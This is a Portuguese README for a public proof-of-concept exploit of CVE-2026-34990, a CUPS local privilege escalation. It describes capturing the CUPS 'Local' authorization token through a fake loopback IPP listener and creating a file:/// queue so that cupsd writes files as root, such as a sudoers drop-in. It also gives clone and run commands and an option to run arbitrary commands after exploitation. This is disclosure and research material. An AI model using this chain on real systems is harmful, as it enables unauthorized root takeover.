
CVE-2026-34990 — CUPS <= 2.4.16 Escalação de Privilégios Local
Usuário local sem privilégios → root, através de um token de autorização
Localdo CUPS vazado e uma fila de impressãofile:///que contorna a política.PoC por 0xcybersoldier
CVE-2026-34990 é uma falha de escalação de privilégios local no OpenPrinting CUPS que afeta as versões 2.4.16 e anteriores.
Um usuário local sem privilégios que consiga alcançar o daemon do CUPS (cupsd) pode potencialmente fazer com que ele se autentique contra um serviço IPP controlado pelo atacante na interface de loopback.
A credencial resultante Authorization: Local <token> pode então ser reutilizada contra a interface administrativa do CUPS.
A cadeia de ataque pode, em última análise, ser usada para criar uma fila de impressão file:/// e fazer com que o cupsd escreva um arquivo controlado pelo atacante com privilégios de root.
A demonstração canônica utiliza um arquivo drop-in em sudoers para obter um shell de root.
Este repositório contém um PoC em Python 3 de arquivo único que implementa a cadeia de ataque, incluindo um modo --check mais seguro para demonstrar o comportamento vulnerável de escrita de arquivo sem criar diretamente uma configuração persistente de escalação de privilégios.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-34990 |
| Componente | OpenPrinting CUPS (cupsd) |
| Versões Afetadas | <= 2.4.16 |
| Classe da Vulnerabilidade | CWE-306 / CWE-284 |
| Impacto | Escalação de Privilégios Local |
| Vetor de Ataque | Local |
| Privilégios Necessários | Baixo |
| Interação do Usuário | Nenhuma |
| Descoberto Por | Asim Viladi Oglu Manizada |
| Advisory | GHSA-c54j-2vqw-wpwp |
O PoC tem como alvo:
OpenPrinting CUPS <= 2.4.16
Verifique a versão do CUPS em execução local:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
Exemplo:
Server: CUPS/2.4.16 IPP/2.1
Nota: Verifique o advisory atual do upstream antes de confiar no intervalo de versões afetadas em pesquisa de produção, pois patches do fornecedor e o status das versões podem mudar.
[1] Usuário local emite CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd conecta ao serviço IPP controlado
pelo atacante no loopback
|
v
[3] Serviço IPP falso responde com:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups repete a requisição com:
Authorization: Local <token>
|
v
[5] Token capturado
|
v
[6] Token reutilizado contra a interface administrativa do CUPS
|
v
[7] Impressora temporária file:// é criada e
transicionada pelo fluxo de gerenciamento de impressoras
|
v
[8] Print-Job faz o cupsd escrever o documento
fornecido no alvo file://
|
v
[9] Payload de demonstração pode modificar uma
configuração privilegiada como sudoers
|
v
ROOT
127.0.0.1:631sudo disponível para a demonstração de escalação de privilégiosNenhum pacote Python externo é necessário.
Clone o repositório:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
Torne o PoC executável:
chmod +x cve-2026-34990.py
Nenhuma dependência adicional é necessária.
Comece com o modo de verificação não persistente:
./cve-2026-34990.py --check
O modo de verificação tenta demonstrar a primitiva vulnerável de escrita de arquivo com proprietário root usando um arquivo de prova temporário e limpa após o teste.
O modo padrão demonstra a cadeia completa de escalação de privilégios:
./cve-2026-34990.py
Um comando pode ser fornecido com:
./cve-2026-34990.py -c 'id'
Exemplo:
./cve-2026-34990.py -c 'id; whoami'
| Flag | Padrão | Descrição |
|---|---|---|
--cups-port | 631 | Porta TCP local do CUPS |
--listen-port | 9189 | Porta de loopback usada pelo listener de captura de token |
--check | Desligado | Modo de verificação segura |
-c, --command | — | Executa um comando após exploração bem-sucedida |
--proof-dir | /var/tmp | Diretório pai para arquivos de prova temporários |
--attempts | 8 | Número de tentativas de escrita de arquivo |
--iterations | 80 | Número de rodadas de requisição IPP por tentativa |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Escalação de Privilégios Local
PoC por 0xcybersoldier
[*] Disparando vazamento de token do CUPS...
[+] Token de autorização Local do CUPS capturado
[*] Corrida de escrita de arquivo: tentativa 1/8
[+] VULNERÁVEL: CUPS escreveu um arquivo de prova com proprietário root
O PoC cria uma impressora temporária no CUPS cujo device-uri aponta para um listener IPP controlado pelo atacante na interface de loopback.
Exemplo:
ipp://127.0.0.1:9189/ipp/print
O listener local responde com um desafio de autenticação:
401 Unauthorized
WWW-Authenticate: Local trc="y"
Isso faz com que a interação cliente/servidor do CUPS repita a requisição usando o mecanismo de autenticação local.
O PoC captura a credencial resultante:
Authorization: Local <token>